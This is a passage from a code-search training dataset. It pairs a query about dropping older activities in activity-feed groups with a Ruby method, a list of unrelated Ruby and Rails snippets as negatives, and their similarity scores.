end", "def map(&block)\n dup.map!(&block)\n end", "def mapOfAllEvents\n events = self.getAllEvents\n result = Hash.new\n\n events.each do |sport, evs|\n evs.each do |eventID, event|\n result[eventID] = event\n end\n end\n result\n end", "def timeline(params={:include => [:events, :attractions, :meals, :transportations]})\n dataset = {}\n if params[:include]\n timeline_include_events(dataset) if params[:include].include?(:events)\n timeline_include_attractions(dataset) if params[:include].include?(:attractions)\n timeline_include_transportations(dataset) if params[:include].include?(:transportations)\n timeline_include_meals(dataset) if params[:include].include?(:meals)\n end\n \n dataset.each do |k, v|\n \n end\n \n return dataset\n end", "def set_activities_list\n @activities_list = ActivitiesList.find(params[:id])\n end", "def map_tasks(mapping)\n super\n @dependencies = dependencies.map do |task, role|\n [mapping[task] || task, role]\n end\n end", "def activity_extensions\n \n activity_action = ''\n activity_not_owner_action = ''\n activity_data = ''\n activity_action_extension = ''\n activity_not_owner_action_extension = ''\n\n activity_action << context.call_hook(:activity_action, {:app => context}, activity)\n activity_not_owner_action << context.call_hook(:activity_not_owner_action, {:app => context}, activity)\n activity_data << context.call_hook(:activity, {:app => context}, activity)\n activity_action_extension << context.call_hook(:activity_action_extension, {:app => context}, activity)\n activity_not_owner_action_extension << context.call_hook(:activity_not_owner_action_extension, {:app => context}, activity)\n\n if String.method_defined?(:force_encoding)\n activity_action.force_encoding('utf-8')\n activity_not_owner_action.force_encoding('utf-8')\n activity_data.force_encoding('utf-8')\n activity_action_extension.force_encoding('utf-8')\n activity_not_owner_action_extension.force_encoding('utf-8') \n end\n\n complements = {}\n complements.store(:activity_action, activity_action)\n complements.store(:activity_not_owner_action, activity_not_owner_action)\n complements.store(:activity_data, activity_data)\n complements.store(:activity_action_extension, activity_action_extension)\n complements.store(:activity_not_owner_action_extension, activity_not_owner_action_extension)\n\n return complements\n\n end", "def my_map(proc=nil)\n result = []\n self.to_a.my_each do |item|\n if proc\n result.push(proc.call item)\n elsif block_given?\n result.push(yield item)\n end\n end\n result\n end", "def map_attributes(mapping, attributes)\n attributes = mapping.inject(attributes) do |hash, (from, to)|\n hash[to.to_s] = hash.delete(from.to_s)\n\n hash\n end\n end", "def each\n @intents.each do |intent|\n lambda{intent}\n end\n end", "def map(*a)\n if a.empty?\n @all.map(&(Proc.new if block_given?))\n else\n super\n end\n end", "def activities(options)\n activities_request build_url_parameters(options).merge(detailed: true)\n end", "def multi_map(arr, n = 1, &prc)\n new_arr = arr\n n.times do\n new_arr = new_arr.map {|ele| ele = prc.call(ele)}\n end\n new_arr\nend", "def map(value, method)\n value.map do |item|\n @mapper.send(method, item)\n end\n end", "def runMapConv()\n comList = comListMapConv() ;\n\n comList.each{|com|\n runCommand(com) ;\n }\n end", "def my_map_with_each\n acc = []\n my_each { |e| acc << yield(e) }\n acc\n end", "def map_with(map, val)\n if val.is_a?(Array)\n val.map { |x| map.fetch(x, x) }\n else\n map.fetch(val, val)\n end\n end" ]
[ "0.5656001", "0.5547555", "0.5328254", "0.532371", "0.52096", "0.51946247", "0.51366544", "0.51250106", "0.50508714", "0.504608", "0.50454324", "0.5016802", "0.49841857", "0.49783427", "0.4933669", "0.49009603", "0.48770657", "0.48519412", "0.48496842", "0.48218274", "0.48204258", "0.48144007", "0.48112422", "0.48061988", "0.47985846", "0.47776502", "0.47763133", "0.476834", "0.47613055", "0.47263888", "0.47140518", "0.47103727", "0.47069046", "0.47028258", "0.47000957", "0.46933556", "0.4683872", "0.46779078", "0.46708518", "0.46685737", "0.46624", "0.46486405", "0.4647585", "0.4641355", "0.46392667", "0.46345907", "0.46342516", "0.4631482", "0.46309564", "0.46302098", "0.46275726", "0.46269068", "0.46265608", "0.46265608", "0.46265608", "0.46176165", "0.4615116", "0.4613193", "0.46112823", "0.46099532", "0.46099532", "0.4587146", "0.45840198", "0.4581455", "0.45672417", "0.456358", "0.45622405", "0.4541786", "0.45238066", "0.45220616", "0.45205128", "0.4518381", "0.45161906", "0.45130476", "0.45127955", "0.45114285", "0.45095584", "0.45093083", "0.45081094", "0.45027733", "0.44961485", "0.44952548", "0.4484294", "0.44841582", "0.44792944", "0.44764382", "0.44588727", "0.4458218", "0.44570035", "0.4454046", "0.44538152", "0.44497028", "0.4445791", "0.44346535", "0.44345662", "0.44300556", "0.4427393", "0.44248912", "0.44234464", "0.44219762" ]
0.8250302
0
Run it through the StreamRails::Enrich process
def enrich(activities, includes) enricher = StreamRails::Enrich.new(includes) if activities.first&.key?('activities') enricher.enrich_aggregated_activities(activities) else enricher.enrich_activities(activities) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run\n super\n require_enrichment\n end", "def stream!\n before_run\n\n #\n # figure out how we want to call streaming client\n #\n if @handlers[:search]\n method = :filter\n args = streamify_search_options(@handlers[:search].opts)\n else\n method = :user\n args = {\n stall_warnings: \"true\"\n }\n end\n\n streaming_client.send(method, args) do |object|\n handle_streaming_object(object)\n end\n after_run\n end", "def envolve(stream, producer, payload)\n events = get_stream(stream)\n new_events = producer.call(events, payload)\n @store[stream] += new_events\n puts '<' * 80\n end", "def stream\n Log.info(\"Streaming on:\\t%s\" % [Script.input_file]) unless Script.input_file.blank?\n before_stream\n each_record do |line|\n record = recordize(line.chomp) or next\n process(*record) do |output_record|\n emit output_record\n end\n track(record)\n end\n after_stream\n end", "def process\n wrap\n end", "def before_stream\n end", "def run_and_transform; end", "def stream\n #kills all tweet streaming processes\n #system \"pkill -f stream_tweets\"\n\n #invokes rake task for streaming tweets for 2 different brands\n system \"rake stream_tweets BRAND1=#{@battle.brand1} BRAND2=#{@battle.brand2} BATTLE_ID=#{@battle.id} &\"\n end", "def run\n _log \"Enriching... Network Service: #{_get_entity_name}\"\n\n enrich_ftp if _get_entity_detail(\"service\") == \"FTP\"\n enrich_snmp if _get_entity_detail(\"service\") == \"SNMP\"\n\n end", "def process\n convert\n render\n write\n end", "def process\n self\n end", "def start\n s = Sentimize::Analyze.new\n e = EventMachine::run {\n stream = Twitter::JSONStream.connect(\n :path => '/1/statuses/filter.json',\n :auth => auth,\n :method => meth,\n :content => term\n )\n stream.each_item do |item|\n element = JSON.parse(item)\n text = element['text']\n \n # Make the call to sentimate to start passing twitter feeds\n # into function to be sentimized\n s.sentimate(text)\n $stdout.flush\n end\n }\n end", "def run\n super\n\n # first, ensure we're fingerprinted\n require_enrichment\n\n uri = _get_entity_name\n\n headers = {}\n headers[\"Content-Type\"] = \"%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Intrigue-Struts',888*888)}.multipart/form-data\"\n response = http_request(:get, uri, nil, headers) # no auth\n\n unless response\n _log_error \"No response received\"\n return\n end\n\n # show the response in the logs \n response.headers.each {|x| _log \"#{x}: #{response.headers[x]}\"}\n \n if response.headers['X-Intrigue-Struts'] =~ /788544/\n \n instance_details = { \n proof: \"#{response.headers['X-Intrigue-Struts']}\",\n }\n _create_linked_issue \"apache_struts_jakarta_parser\", instance_details\n end\n end", "def run_respond(aCommand)\n run(aCommand) do |ch,stream,text|\n \tch[:state] ||= { :channel => ch }\n \toutput = yield(text,stream,ch[:state])\n \tch.send_data(output) if output\n end\nend", "def run\n yield\n end", "def run\n integration.run(self)\n end", "def processor; end", "def stream\n $stdin.each do |line|\n record = recordize(line.chomp)\n next unless record\n process(*record) do |output_record|\n emit output_record\n end\n end\n end", "def pipelined\n yield\n end", "def build!\n @_appended = false\n if @_crafted\n yield\n @_appended = true\n nil\n else\n begin\n @_crafted = Tools.create_stream(self)\n yield\n @_crafted.render\n ensure\n @_crafted = nil\n end\n end\n end", "def perform\n logger.debug \"Preparing to start stream\"\n @stream_processor = nil\n type = request_method\n http = EventMachine::HttpRequest.new(full_url).send(type, http_options(type))\n authorization_method.add_header_to(http)\n # Handle failures correctly so we can back off\n @current_request = http\n http.errback { fail!(:network)}\n http.callback { http.response_header.status > 299 ? fail!(:http) : perform }\n http.stream { |c| receive_chunk(c) }\n end", "def feed_stream(command, params={})\n feeder = get_feed_node(params)\n augment_feeder_params(params)\n feeder.feed_stream(command, params)\n end", "def enrich_all\n enrich_autonomous_system\n enrich_dns\n enrich_geolocation\n enrich_reverse_dns\n enrich_whois\n end", "def process!\n events.each(&:process!)\n end", "def stream; end", "def stream; end", "def stream; end", "def stream; end", "def open_stream(env, hndlr)\n env[:subscription] = hndlr.stream_data{ |data| env.stream_send MultiJson.dump(data).concat(\"\\n\") }\n end", "def run\n self.proc.call\n end", "def execute_middleware_chain\n self.process_started_at = Time.now\n\n Cloudenvoy.config.subscriber_middleware.invoke(self) do\n begin\n process(message)\n rescue StandardError => e\n logger.error([e, e.backtrace.join(\"\\n\")].join(\"\\n\"))\n try(:on_error, e)\n raise(e)\n end\n end\n ensure\n self.process_ended_at = Time.now\n end", "def stream(controller, parms=Hash.new)\n parms = {:dsid=>self.dsid, :pid=>self.pid, :finished=>false}.merge parms\n controller.headers['Last-Modified'] = self.lastModifiedDate || Time.now.ctime.to_s\n if self.dsSize\n controller.headers['Content-Length'] = self.dsSize.to_s\n else\n controller.headers['Transfer-Encoding'] = 'chunked'\n end\n #controller.response_body = ActiveFedora::Datastreams::Streamable::Streamer.new parms\n controller.response_body = Enumerator.new do |blk|\n repo = ActiveFedora::Base.connection_for_pid(parms[:pid])\n repo.datastream_dissemination(parms) do |res|\n res.read_body do |seg|\n puts \"writing #{seg.length} bytes\"\n blk << seg\n end\n end\n end\n end", "def run\n\n # Gets possible data source(s)\n service(:sniffer).exec\n\n # Filters the data source(s) to extract the relevant only.\n service(:filter).exec\n\n # ETL\n context[:to_be_extracted].each_with_index do |ds, i|\n log.debug \"starting ETL, idx=#{i + 1}\"\n context[:extract] = ds\n service(:extractor).exec\n service(:transformer).exec\n service(:loader).exec\n end\n\n log.info 'Bye bye'\n end", "def default_stream_handler(broadcasting, coder:); end", "def process\n end", "def process\n self.generate\n end", "def process!\n end", "def run\n\t\tsuper\n\t\t## todo, run msf stuff here\n\t\t\n\t\t## Set up xmlrpc?\n\t\t\n\t\t## Run module & Capture results\n\t\t\n\t\t## Modify the object?\n\t\t\n\t\t@object.save!\n\t\tnil\n\tend", "def process(group, stream, window)\n end", "def run!\n broadcast!\n super\n end", "def on_backends_inline_process(event)\n count = event[:caller].send(:params_batch).to_a.size\n topic = event[:caller].topic.name\n time = event[:time]\n info \"Inline processing of topic #{topic} with #{count} messages took #{time} ms\"\n end", "def consume\n \n end", "def run\n print_debug 'In #run'\n audit self.class.payloads, self.class.options\n end", "def stream\n @grid.join\n end", "def run! \n loop { puts @context.eval(@pipe.gets) }\n end", "def run() end", "def initialize up_stream\n super(up_stream)\n end", "def run\n super\n \n require_enrichment\n \n # check our fingerprints for a version\n our_version = nil\n fp = _get_entity_detail(\"fingerprint\")\n fp.each do |f|\n if f[\"vendor\"] == \"Wordpress\" && f[\"product\"] == \"Loginizer\"\n our_version = f[\"version\"]\n break\n end\n end\n \n if our_version\n _log \"Got version: #{our_version}\"\n else\n _log_error \"Unable to get version, failing.\"\n return\n end\n \n # check the version to see if its vulnerable.\n # versions smaller than 1.6.4 are vulnerable as per https://wpdeeply.com/loginizer-before-1-6-4-sqli-injection/\n _log \"Checking version against known vulnerable versions\"\n \n if ::Versionomy.parse(our_version) < ::Versionomy.parse(\"1.6.4\")\n _log_good \"Vulnerable!\"\n _create_linked_issue(\"wordpress_loginizer_cve_2020_27615\", {\n proof: {\n detected_version: our_version\n }\n })\n else\n _log \"Not vulnerable!\"\n end\n end", "def execute\n @output.start\n while(@producer.has_next?)\n json_object = @producer.next\n if @matcher.match?(json_object)\n @output.output(json_object)\n end\n end\n @output.done\n end", "def run\n AMQP.start(:host => '127.0.0.1') do\n MQ.new.queue('encoder_listener').bind(MQ.new.fanout(RemoteRecorder::FANOUT_EXCHANGE)).subscribe do |json|\n # check if the message is a recording finished message\n DaemonKit.logger.debug(\"Got message: #{json}\")\n message = JSON.parse(json)\n if message[\"message\"] == \"recording_finished\"\n DaemonKit.logger.debug(\"Got recording finish message: #{message}\")\n # add the encoding job to the queue\n @queue.unshift({\n :id => message[\"doc_id\"],\n :files => message[\"files\"]\n })\n process_queue\n end\n end\n EM.add_periodic_timer(1.0) do\n watch\n process_queue\n end\n # periodically check whether we for some reason missed a video\n # which is sitting unencoded somewhere\n EM.add_periodic_timer(15) do\n @db.get(\"_design/video_encoder\").view(\"unencoded\")['rows'].each{|v|\n unless @queue.collect{|x| x[:id]}.include? v[\"value\"][\"_id\"]\n @queue.unshift({\n :id => v[\"value\"][\"_id\"],\n :files => v[\"value\"][\"files\"]\n })\n end\n }\n end\n end\n end", "def run\n _log \"Enriching... AWS EC2 Instance: #{_get_entity_name}\"\n\n public_hostname = _get_entity_detail('public_dns_name')\n private_hostname = _get_entity_detail('private_dns_name')\n # no point in having public ip address since DNSRecord enrichment will create it\n private_ip_address = _get_entity_detail('private_ip_address')\n\n # ec2 entity belongs to organization so setting scope to true\n _create_entity 'DnsRecord', {'name' => public_hostname, 'scoped' => true } unless public_hostname.empty? || public_hostname.nil? \n _create_entity 'DnsRecord', 'name' => private_hostname unless private_hostname.empty? || private_hostname.nil?\n _create_entity 'IpAddress', 'name' => private_ip_address unless private_ip_address.empty? || private_ip_address.nil?\n\n end", "def scm_run(command)\n run(command) do |ch,stream,text|\n ch[:state] ||= { :channel => ch }\n output = source.handle_data(ch[:state], stream, text)\n ch.send_data(output) if output\n end\n end", "def appender_proc(data)\n proc { |obj| obj.tap { |env| env[:data] << data } }\n end", "def call\n process\n end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def run_or_stream\n @run_count += 1\n if streaming?\n stream!\n else\n run!\n end\n end", "def on_process( &block )\n @processor = block\n end", "def run\n super\n\n require_enrichment\n\n ## Trigger: Accept Header of the following form\n ## ../../../../../../../../../../etc/passwd{{\n\n paths = [\"\"] # Enter any known paths here (spidering first might be a good idea)\n headers = {\"Accept\" => \"../../../../../../../../../../etc/passwd{{\"}\n\n paths.each do |p|\n\n # Request\n uri = \"#{_get_entity_name}/#{p}\"\n response = http_request :get, \"#{uri}\", nil, headers\n etc_passwd_body = response.body_utf8.split(\"\\n\").first(3).join(\"\\n\") if response\n\n # Check for validity\n if response\n if \"#{etc_passwd_body}\" =~ /root\\:x/\n _log \"Vulnerable! Partial content of response: #{etc_passwd_body}\"\n _create_linked_issue(\"rails_information_disclosure_cve_2019_5418\", {\n proof: {\n response_data: etc_passwd_body\n }\n })\n else\n _log \"Got non-vulnerable response: #{response.body_utf8}\"\n end\n else\n _log \"Empty response at #{uri}\"\n end\n end\n\n end", "def run_supervised\n process.supervise\n Karafka::App.run!\n Karafka::App.config.internal.fetcher.call\n end", "def run\n super\n \n # first, ensure we're fingerprinted\n require_enrichment\n \n network_service = _get_entity_name\n ip_address = network_service.split(\":\").first\n port = network_service.split(\":\").last.split(\"/\").first\n \n fp = _get_entity_detail(\"fingerprint\")\n \n unless fp \n _log_error \"Unable to continue, missing fingerprint\"\n return\n end\n\n # check for exim\n if fp.select{|v| v['product'] =~ /Exim/i }.count > 0\n \n puts \"EXIM!\"\n puts \"#{fp}!\"\n\n end\n\n\n end", "def process(&block)\n @processor = block\n self\n end", "def start\n super\n send(generate_stream_start(@jid.domain)) { |e|\n if e.name == 'stream'\n true\n else\n false\n end\n }\n end", "def stream_processor\n @stream_processor ||= StreamProcessor.new(@parent, @name, @metadata)\n end", "def _run\n # Preparing instance/list/player/sout fragment/event manager\n @api = LibVlc::Instance.new @args\n sout = @pipeline.sout.fragment\n list = @api.create_media_list\n player = @api.create_player\n events = player.event_manager\n\n sout.gsub!('\\'', '')\n sout.gsub!('\"', '')\n\n puts sout\n\n # Building the medias with the right options\n medias = @pipeline.input.inputs.map do |input|\n #puts sout\n @api.create_media(input) << sout\n end\n medias.each { |media| list << media }\n list_player = @api.create_list_player list, player\n\n # Set callbacks to 'know' when the processing is over\n stop_events = [\n :MediaPlayerPaused,\n :MediaPlayerStopped,\n :MediaPlayerEndReached,\n :MediaPlayerEncounteredError\n ]\n events.on(stop_events) { stop_runner! }\n\n # Let's rock and roll\n list_player.play\n\n # Busy Wait loop hack to synchronize with libvlc which doesn't have\n # any synchronous interface (due to it's profound asynchronous nature)\n @running = true\n while @running\n sleep 0.5\n end\n end", "def run_respond(aCommand)\n\t\trun(aCommand) do |ch,stream,text|\n\t\t\tch[:state] ||= { :channel => ch }\n\t\t\toutput = yield(text,stream,ch[:state])\n\t\t\tch.send_data(output) if output\n\t\tend\n\tend", "def execute!\n stack = InternalMiddleware.batch_stack(self)\n format_response(stack.call(middleware_env))\n end", "def boilerplate ingestor\n\n @pid = ingestor.pid\n\n @mods.add_iid_identifier @iid if @mods.iids.empty? # we do sanity checking and setup the @iid elsewhere\n @mods.add_islandora_identifier ingestor.pid\n @mods.add_flvc_extension_elements @manifest\n\n if @mods.type_of_resource.empty?\n @mods.add_type_of_resource @mods_type_of_resource\n end\n\n @mods.post_process_cleanup # creates purl if necessary, must be done after iid inserted into MODS\n raise PackageError, \"Invalid MODS file\" unless @mods.valid?\n\n ingestor.label = @label\n ingestor.owner = @owner\n ingestor.content_model = @content_model\n ingestor.collections = @collections\n ingestor.dc = @mods.to_dc\n ingestor.mods = @mods.to_s\n\n if @marc\n ingestor.datastream('MARCXML') do |ds|\n ds.dsLabel = \"Archived MarcXML\"\n ds.content = @marc\n ds.mimeType = 'text/xml'\n end\n end\n\n if @manifest.embargo\n @drupal_db.add_embargo @pid, @manifest.embargo['rangeName'], @manifest.embargo['endDate']\n end\n\n # set POLICY if there is only one collection with same namespace and POLICY datastream\n # if none or more than one collection, do not set POLICY\n\n if @inherited_policy_collection_id\n ingestor.datastream('POLICY') do |ds|\n ds.dsLabel = \"XACML Policy Stream\"\n ds.content = Utils.get_datastream_contents(@config, @inherited_policy_collection_id, 'POLICY')\n ds.mimeType = 'text/xml'\n ds.controlGroup = 'X'\n end\n end\n\n ingestor.datastream('RELS-EXT') do |ds|\n ds.dsLabel = 'Relationships'\n ds.content = rels_ext(ingestor.pid)\n ds.mimeType = 'application/rdf+xml'\n end\n end", "def after_stream\n end", "def stream_for(model, callback = T.unsafe(nil), coder: T.unsafe(nil), &block); end", "def run\n super\n\n # first, ensure we're fingerprinted\n require_enrichment\n\n fingerprint = _get_entity_detail(\"fingerprint\")\n\n if is_product?(fingerprint, \"Exchange Server\")\n\n if is_vulnerable_version?(fingerprint)\n\n # check to see if the vulnerable path is available\n check_url = \"#{_get_entity_name}/ecp/default.aspx\"\n response = http_request(:get, check_url)\n\n if response.body_utf8 =~ /<title>Exchange Admin Center/\n _create_linked_issue(\"vulnerability_exchange_cve_2020_0688\", {\n proof: {\n response_body: response.body_utf8\n }\n })\n end\n\n end\n end\n end", "def subscribed\n super\n increase_current_users\n stream_from channel\n end", "def publish_result_data\n end", "def run\n\t\t\t\tbegin\n\t\t\t\t\twhile true\n\t\t\t\t\t\tcommand = read_object\n\t\t\t\t\t\t\n\t\t\t\t\t\tresult = yield command\n\t\t\t\t\t\t\n\t\t\t\t\t\twrite_object(result)\n\t\t\t\t\tend\n\t\t\t\trescue EOFError\n\t\t\t\t\t# Finish...\n\t\t\t\tend\n\t\t\tend", "def exec_hadoop_streaming\n $stderr.puts \"Streaming on self\"\n input_path, output_path = input_output_paths\n command = runner_command(input_path, output_path)\n $stderr.puts command\n unless options[:dry_run]\n maybe_overwrite_output_paths! output_path\n $stdout.puts `#{command}`\n end\n end", "def process\n raise \"Must be implemented\"\n end", "def stream_send(data)\n self[STREAM_SEND].call(data)\n end", "def expand(stream, model)\n setup_template if need_update?\n context = setup_context\n formatter = setup_formatter(stream)\n do_expand(model, context, formatter)\n end", "def run\n end", "def stream_statistics\n super\n end", "def run\n super\n end", "def run\n super\n end", "def client_streamer(call: nil, method: nil)\n GRPC.logger.debug \"Intercepting client streamer method #{method}\" \\\n \" with call #{call}\"\n yield\n end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def consume_all\n end", "def consume_all\n end" ]
[ "0.6624437", "0.63457614", "0.5928375", "0.5771367", "0.5753443", "0.57172763", "0.55510706", "0.55465037", "0.5460874", "0.5366433", "0.53426", "0.53348196", "0.5316116", "0.5290554", "0.5285991", "0.5283383", "0.5260979", "0.5253806", "0.52439165", "0.5237132", "0.52087283", "0.5201582", "0.5200087", "0.51992685", "0.51956797", "0.51956797", "0.51956797", "0.51956797", "0.5191635", "0.5189006", "0.5187275", "0.51759374", "0.5163948", "0.5144355", "0.51428705", "0.51402825", "0.5133585", "0.5132701", "0.5127238", "0.5120959", "0.51095104", "0.5105978", "0.50894153", "0.5088772", "0.50825346", "0.5080271", "0.5063482", "0.5051754", "0.5044735", "0.5041059", "0.5040352", "0.50369763", "0.5033858", "0.5026579", "0.5025778", "0.5025778", "0.5025778", "0.5025778", "0.5025778", "0.5025778", "0.5025778", "0.5025778", "0.50215703", "0.5016547", "0.50098276", "0.50089943", "0.5005657", "0.5003544", "0.5002791", "0.49977925", "0.4993553", "0.49861997", "0.4985175", "0.4978281", "0.49669662", "0.49589092", "0.49565893", "0.49533966", "0.4947798", "0.49459115", "0.49458075", "0.49382794", "0.49314213", "0.49272543", "0.49215904", "0.4918324", "0.49135438", "0.49135438", "0.49093056", "0.4907533", "0.4907533", "0.4907533", "0.4907533", "0.4907533", "0.4907533", "0.4907533", "0.4907533", "0.4907533", "0.4907083", "0.4907083" ]
0.549789
8
For performance, we drop older activities on groups where we only need one. These groups are identified by verb (comment, post, review, follow)
def strip_unused(activity_groups) activity_groups.each do |group| return activity_groups unless group['activities'] next unless STRIPPED_VERBS.include?(group['verb']) group['activities'] = [group['activities'].first] end activity_groups end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def before_destroy_group\n controller = PublicActivity.get_controller\n\n # Return if seeding or nothing changes\n return if !controller\n\n current_user = PublicActivity.get_controller.current_user\n\n self.create_activity :destroy, owner: current_user,organization_id: self.organization_id, params: {:detail => I18n.t('logs.destroy_group', group_name: self.name)}\n end", "def unmoderated\n where :awaiting_moderation => true\n end", "def remove_act\n # outdent children in case remove_act doesn't delete\n self.children.each do |child|\n if child.type != 'GoalTracker'\n child.outdent\n child.remove_act\n end\n end\n \n # check if parent should update completeness\n old_parent = self.parent\n\n self.state = Activity::ABANDONED\n self.save!\n \n # refresh parent completeness\n if !old_parent.nil?\n old_parent.is_complete?\n end\n end", "def scrub_activity!\n activities.each do |activity|\n activity.scrub!\n end\n end", "def remove_from_aggregated_feed\n feed = StreamRails.feed_manager.get_user_feed(self.user_id)\n feed.remove_activity(\"Follow:#{self.id}\", foreign_id=true)\n if self.followable_type == 'Topic'\n chirp_feed = StreamRails.feed_manager\n .get_feed('chirp_user_feed', user_id)\n chirp_feed.unfollow( 'topic_posts_feed', self.followable_id, keep_history=true )\n end\n end", "def refuse_group group\n group_invitations.where(group: group).first.destroy\n end", "def disown_all!\n self.groups.each do |group|\n self.disown!(group)\n end\n end", "def disband_group\n destroy_collection({:table=>'groups', :on_success=>'You disbanded the group.'})\n rescue\n flash[:notice] = \"Could not find group.\"\n redirect_to :action=>'groups'\n end", "def destroy\n @group_activity = GroupActivity.find(params[:id])\n @group_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(group_activities_url) }\n format.xml { head :ok }\n end\n end", "def strip_unenriched(activities, includes)\n activities.map do |act|\n if act['activities'] # Recurse into activity groups\n act['activities'] = strip_unenriched(act['activities'], includes)\n else\n includes.each do |key|\n # If it's an array (nested enrichment), grab the top level\n key = key.first if key.is_a?(Array)\n # Delete if it's still a string\n act.delete(key.to_s) if act[key.to_s].is_a?(String)\n end\n end\n act\n end\n end", "def delete_related_groups\n \n end", "def decrement_comment_count \n return if self.post_activity.blank? or self.post_activity.parent.blank? or self.post_activity.parent.direct_activity_object.blank?\n \n self.post_activity.parent.direct_activity_object.decrement!(:comment_count) \n end", "def remove_from_general\n # Get general committees (may be more than one)\n general = Committee.where(\n committee_type_id: CommitteeType.general.id\n )\n\n # If this member is in the general members group (tested using set difference)\n if (general - self.committees).empty?\n general.each do |committee|\n self.committees.delete(general)\n end\n end\n end", "def dissolve_groups\n groups.destroy_all\n end", "def remove_answers_to_wrong_activity\n [:multiple_choice_answers, :open_response_answers, :image_question_answers].each do |answer_type|\n answers = self.send answer_type\n answers.each do |answer|\n if answer.question && answer.question.activity\n activity_id = answer.question.activity.id\n unless activity_id == self.activity_id\n answer.delete\n puts \"deleted an answer to question: #{answer.question.id}\"\n end\n end\n end\n end\n end", "def unseen_for(user_name, group_id: nil, limit: 5)\n group(group_id).subtract user(user_name).seen, limit\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_group_url(@group) }\n format.json { head :no_content }\n end\n end", "def remove_read_group\n if media_object && media_object.read_groups.include?(self.token)\n media_object.read_groups -= [self.token]\n media_object.save!\n end\n end", "def postprocess(groups)\n end", "def test_ID_25866_comment_on_post_you_wrote()\n login_as_user1\n post_to_any_group(\"Sports\",\"Basketball\")\n logout_common\n login_as_user2\n leave_a_comment_on_any_group(\"Sports\",\"Basketball\")\n logout_common\n login_as_user1\n verify_updates()\n end", "def remove_old_sessions_in_group\n candidates = find_old_sessions\n candidates.where(group: @group).destroy_all\nend", "def disown!(group)\n return if group.class != Group\n e = Entity.find_by(id: self.id)\n return if e.nil?\n relationship = EntityGroupRelationship.find_by(entity_id: self.id, group_id: group.id)\n return if relationship.nil?\n if relationship.position.nil?\n return relationship.destroy\n end\n index = relationship.position\n relationship.destroy\n # self.update_position(index)\n end", "def delete_node_group_descendents(node_group_model)\n id = node_group_model['id']\n tree = get_node_group_trees_of_direct_descendents\n tree[id].each do |childid|\n delete_tree_recursion(tree, childid)\n end\n end", "def kill_group(i, j)\n group, adj = get_adj(i, j, -1)\n group.each{|i, j|\n set_stone_at(i, j, 0)\n }\n return group\n end", "def remove_agent_group_id(opts)\n opts = check_params(opts,[:group_id])\n super(opts)\n end", "def rebrag_last_activity!\n activity = latest_bragged_activity\n return unless activity\n\n rebrag_activity!(activity)\n end", "def prune_empty_groups\n @channels.each_value do |channel|\n channel.leave_group if channel.group? && channel.recipients.empty?\n end\n end", "def remove_share_visibilities_on_persons_posts\n ShareVisibility.for_contacts_of_a_person(person).destroy_all\n end", "def destroy_activities\n Activity.find_all_by_dog_id(self).each {|a| a.destroy}\n end", "def remove_group\n create_group.tap do |r|\n r.action(:remove)\n end\n end", "def ungrouped\n cached_dataset(:_ungrouped_ds){clone(:group => nil, :having => nil)}\n end", "def destroy\n @family_group = @activity.plan.family_group\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to planslink_path(@family_group.id) }\n format.json { head :no_content }\n end\n end", "def remove_role_assignments_from_group_members_if_needed\n return unless entity.type == 'Group'\n\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n entity.members.each do |m|\n logger.info \"Removing role (#{role.id}, #{role.token}, #{role.application.name}) about to be removed from group (#{entity.id}/#{entity.name} from its member #{m.id}/#{m.name})\"\n ra = RoleAssignment.find_by_role_id_and_entity_id_and_parent_id(role.id, m.id, self.id)\n if ra\n ra.destroy!\n else\n logger.warn \"Failed to remove role (#{role.id}, #{role.token}, #{role.application.name}) assigned to group member (#{m.id}/#{m.name}) which needs to be removed as the group (#{entity.id}/#{entity.name}) is losing that role.\"\n end\n end\n end\n end", "def destroy\n @group_comment.destroy\n\n head :no_content\n end", "def unlink_notes \n if self.notes\n self.notes.each do | note | \n note.objects[:Group].delete(self.id.to_s)\n note.save\n end\n end\n end", "def reset_view_status\r\n members = conversation.conversation_members\r\n\r\n members = members.where.not(:user_id => user.id) unless user.nil?\r\n\r\n members.update_all :viewed => false\r\n end", "def degroup!\n self.explicit_boundaries = []\n self\n end", "def cancel_old_tasks\n if disposition == \"granted\"\n old_docket_stream.cancel_active_tasks\n else\n docket_switchable_tasks.reject(&:post_distribution?).each(&:cancel_task_and_child_subtasks)\n end\n end", "def group_activities_by_conversation\n @digest_set.each do |person, conversations_array|\n\n conversations_array.each do |conversation|\n\n contributions = @updated_contributions.select do |contribution|\n contribution.conversation == conversation.first\n end\n\n reflections = @updated_reflections.select do |reflection|\n reflection.conversation == conversation.first\n end\n\n votes_created = @votes_created_activities.select do |vote|\n vote.surveyable == conversation.first\n end\n\n votes_ended = @votes_ended_activities.select do |vote|\n vote.surveyable == conversation.first\n end\n\n vote_responses = @vote_response_activities.select do |vote_response|\n vote_response.survey.surveyable == conversation.first\n end\n\n petitions_created = @new_petitions.select do |petition|\n petition.conversation == conversation.first\n end\n\n grouped_petition_signatures = @grouped_petition_signatures_activity.select do |petition_signature|\n petition_signature[1][0].petition_conversation == conversation.first\n end\n \n items = (contributions + reflections + votes_created + votes_ended + vote_responses + petitions_created + grouped_petition_signatures)\n\n conversation << items\n end\n end\n return @digest_set\n\n end", "def activity\n if !current_group.nil?\n \t ideas = Idea.find_all_by_group_id(current_user.groups.map(&:id))\n else\n ideas = current_user.ideas\n end\n \t@activities = Activity.find_all_by_idea_id(ideas.map(&:id))\n end", "def reject_year_groups\n respond_with get_tags_for_contexts([\"year_groups\",\"reject_year_groups\"], params[:exclude_tags])\n end", "def unhide_activity\n @categories = Category.all\n @activities = Activity.where(:category_id => nil)\n @activities.update_all(hidden: false)\n\n #Similar to the edit and create, we call a custom JS file with AJAX as all three functions will have to render\n #the activities after they are completed successfully\n respond_to do |format|\n format.js {render 'activity_ajax.js.erb'}\n end\n end", "def remove_posts usr\n @conv.posts.each do |post|\n if usr.id == post.user_id\n post.status = 'removed'\n elsif usr.id == post.recipient_id\n post.recipient_status = 'removed'\n end\n post.save\n end\n end", "def destroy\n @group = Group.find_by_param(params[:id])\n 